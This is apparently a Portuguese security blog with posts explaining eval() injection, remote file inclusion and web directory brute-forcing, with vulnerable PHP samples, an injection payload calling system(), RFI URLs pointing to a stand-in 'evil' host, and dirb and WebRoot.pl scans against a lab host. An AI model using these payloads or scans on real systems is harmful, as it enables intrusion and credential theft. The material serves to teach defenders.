Eval()

A função eval() é muito utilizada por facilitar a vida de desenvolvedores transformando strings em instruções javascript e executando-as em seguida (desde que a instrução esteja correta).

Vejamos abaixo um exemplo de código javascript:

 

document.getElementById("meubotaovoltar").onclick = function () {
if (historicode1 == "home") { //historicode1 é minha variável que recebe o valor do último item clicado
location.href="home.htm"; //faz a chamada da página
} else if (historicode1 == "contatos") {
location.href="contatos.htm"
}

 

E a seguir o mesmo código acima porém utilizando a função eval():

 

document.getElementById("meubotaovoltar").onclick = function () {
eval("location.href="+historicode1+".htm");
}

 

A função minimizou totalmente o código. Por tratar o conteúdo de forma dinamica a função Eval() pode ser abusada de varias formas e um dos ataques mais difundidos é o Eval Injection.

Este ataque consiste na injeção de scripts que não são validados de forma apropriada pelo input de dados de usuário como parâmetro no site. Um usuário remoto pode inserir uma URL especialmente criada para enviar dados arbitrários para a função eval(). Isso resultará na execução do código pelo sistema vulneravel.

O ataque irá executar o código com a mesma permissão que o web service está executando no servidor remoto, isso inclui comandos executados no sistema.

 

Exemplo 01 : Sistema vulnerável a Eval Injection.

Vejamos o código abaixo:

$myvar = “varname”;

$x = $_GET[‘arg’];

eval(“\$myvar = \$x;”);

 

 

Como pode ser visto acima a variavel $arg é repassada via parametro GET e  em seguida é processada dentro da chamada eval().  Poderiamos explorar facilmente isto setando o valor da variavel para “10; system(\”/bin/passwd\”);”. Neste caso o webserver iria executar o comando no sistema e exibiria todos os usuários do Linux;

 

Exemplo 2:  Injetando arquivos remotes para explorar a função vulnerável.

Vejamos o código a seguir:

 

<?php
   $color = 'blue';
   if ( isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   require( $color . '.php' );
?>
<form>
   <select name="COLOR">
      <option value="red">red</option>
      <option value="blue">blue</option>
   </select>
   <input type="submit">
</form>

 

Colocando red/blue o programador pensou que poderia garantir que somente blue.php e red.php poderiam ser carregados. Porem como qualquer um poderia simplesmente inserir dados arbitrários na variável COLOR, é possivel injetar códigos a partir de arquivos:

  • /vulnerable.php?COLOR=http://evil/exploit   : Isto injetaria um arquivo remoto malicioso
  • /vulnerable.php?COLOR=C:\ftp\upload\exploit : Isto poderia carregar um arquivo que foi feito upload para o server.

 

Como podem ver as vulnerabilidades relacionadas a dados inseridos como variáveis não validadas podem trazer diversos problemas, em especial a função eval() por ser utilizada em larga escala pode prejudicar consideravelmente a segurança de sua aplicação e servidores.

Web Application Brute-Force Attacks.

 

O ataque de Brute-force sempre foi muito comum em serviços disponibilizados remotamente tais quais, ftp, smtp, pop entre outros. Em geral este ataque por si só não apresenta um risco muito grave, porém pode ser utilizado como vetor para ataques mais complexos que podem explorar falhas na infra-estrutura que vão desde políticas mal configuradas de permissões, política de senha ineficiente ou inexistente entre outras.

Durante este tipo de ataque, o atacante tenta transpor mecanismos de segurança como por exemplo sistemas de autenticação, proteção de diretórios por senha e etc, tendo como base um mínimo conhecimento sobre o alvo.

Existem basicamente 2 métodos que podem ser empregados neste tipo de ataque o ataque de dicionário e o de força-bruta.

Dicionário: O atacante utiliza um catalogo pré-formatado onde no caso são utilizadas strings que contém possíveis resultados e que em geral utilizam senhas padrão comumente utilizadas, nomes de pastas utilizadas e etc. Em geral este tipo de ataque tende a ser direcionado.

Força-Bruta: O atacante utiliza classes de caracteres ex: alfanumerica, especiais, case sensitive e etc. Neste caso específico este tipo de método demanda muito tempo e seu percentual de aproveitamento é muito baixo assim como gera muito alarde durante o ataque fazendo com que possíveis mecanismos de segurança como IDSs, IPSs e etc sejam acionados.

 

Em sua grande maioria ataques de brute-force são utilizados para conseguir senhas de usuários para controle de acesso de aplicações e sistemas. Entretanto existem diversas ferramentas que utiliza esta técnica para examinar web services, procurar pastas contendo arquivos que possam conter senhas de banco de dados, assim como testar como a aplicação se comporta utilizando diferentes data forms (GET/POST) assim como identificar Session-IDs de usuários. Especialmente em aplicações web o ataque de brute-force pode ser utilizado para

– Conseguir cookies de acesso a sessões de usuários;

– Usuários e senhas de diretórios protegidos;

– SessionID de aplicações;

– Arquivos de include contendo dados sensíveis como senhas de banco de dados entre outras.

Veremos abaixo alguns exemplos de ferramentas que podem ajudar durante o teste de aplicações web e descobrir se estamos vulneraveis a este tipo de ataque.

 

 

Para testes em serviços web existem 2 ferramentas  interesssantes:

-dirb (http://sourceforge.net/projects/dirb)

-webroot (http://www.cirt.dk/tools/webroot/WebRoot.txt)

 

A ferramenta dirb consiste em uma ferramenta com opções mais avançadas e pode ser utilizada para:

– setar diferentes cookies

– adicionar qualquer tipo de HTTP header desejado

– utilizar proxys para mascarar a conexão

– Utilizar catalogos ou arquivos utilizando dicionários definidos ou templates fazendo uma varredura direcionada.

Podemos fazer um teste simples utilizando-a:

[root@localhost /]$  ./dirb http://laboratorio.test/

—————–

DIRB v1.9

By The Dark Raver

—————–

START_TIME: Mon Jul  9 23:13:16 2007

URL_BASE: http://laboratorio.test/

WORDLIST_FILES: wordlists/common.txt

SERVER_BANNER: apache/3.2.2

NOT_EXISTANT_CODE: 404 [NOT FOUND]

(Location: ” – Size: 345)

 

—————–

 

Generating Wordlist…

Generated Words: 839

 

—- Scanning URL: http://laboratorio.test/ —-

FOUND: http://laboratorio.test/phpmyadmin/

(***) DIRECTORY (*)

 

 

No output da ferramenta somos informados que a pasta phpmyadmin/  foi encontrada. Um atacante poderia agora efetuar um ataque direcionado para a aplicação PHPMyAdmin, como por exemplo tentar senhas de acesso default ou utilizar exploits para a versão em uso do PHPmyAdmin.

 

 

Um dos maiores problemas com ferramentas como o dirb é reconhecer se a mensagem de retorno do servidor  é a esperada ou não. Em casos onde o servidor  tem configurações avançadas (exemplo utilizando mod_rewrite) ferramentas automaticas não conseguem distinguir uma mensagem de resposta do servidor  sobre um determinado erro ao acessar uma pasta ou arquivo.

A aplicação WebRoot.pl escrita pelo CIRT.DK, tem mecanismos embutidos para trabalhar as respostas do servidor,  e baseado na frase especificada pelo atacante, consegue identificar se a resposta do servidor  é a esperada ou não.

./WebRoot.pl -noupdate -host laboratorio.test -port 80 -verbose -match “senha” -url “/private/<BRUTE>” -incremental lowercase -minimum 1 -maximum 1

 

oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00

o          Webserver Bruteforcing 1.8          o

0  ************* !!! WARNING !!! ************  0

0  ******* FOR PENETRATION USE ONLY *********  0

0  ******************************************  0

o       (c)2007 by Dennis Rand – CIRT.DK       o

oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00

[X] Checking for updates                – NO CHECK

[X] Checking for False Positive Scan    – OK

[X] Using Incremental                   – OK

[X] Starting Scan                       – OK

GET /private/b HTTP/1.1

GET /private/z HTTP/1.1

[X] Scan complete                       – OK

[X] Total attempts                      – 26

[X] Sucessfull attempts                 – 1

oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00

WebRoot.pl encontrou um arquivo /private/b no laboratorio.test, que contem a frase “senha: 123mudar”

Ferramentas para Identificar e proteger contra brute-forc e em aplicações Web.

Php-Brute-Force-Attack Detector

http://yehg.net/lab/pr0js/files.php/php_brute_force_detect.zip

Esta ferramenta detecta se seu servidor esta sendo scanniado por ferramentas de brute-force como  WFuzz, Owasp DirBuster e scans e vulnerabilidades como Nessus, Nikto, Acunetix, etc. Ela pode ajudar você a rapidamente identificar possíveis hosts utilizados por atacantes que ficam efetuando testes em sua aplicações para identificar brechas e possíveis falhas de segurança

 

 

Start your Engines …

Olá pessoal,

Depois de muito tempo, tendo que retirar minha atenção do blog, estou de volta.

Muitas vezes precisamos apenas de um pequeno incentivo para dar continuidade a certas coisas, e dizer que eu não atualizava o blog por falta de tempo seria no mínimo mentira de minha parte.

Porém aqui estou, e para ficar.

Irei postar novos artigos no mínimo uma vez por semana. Espero que os senhores apreciem.

Happy Hacking 4 You ! :)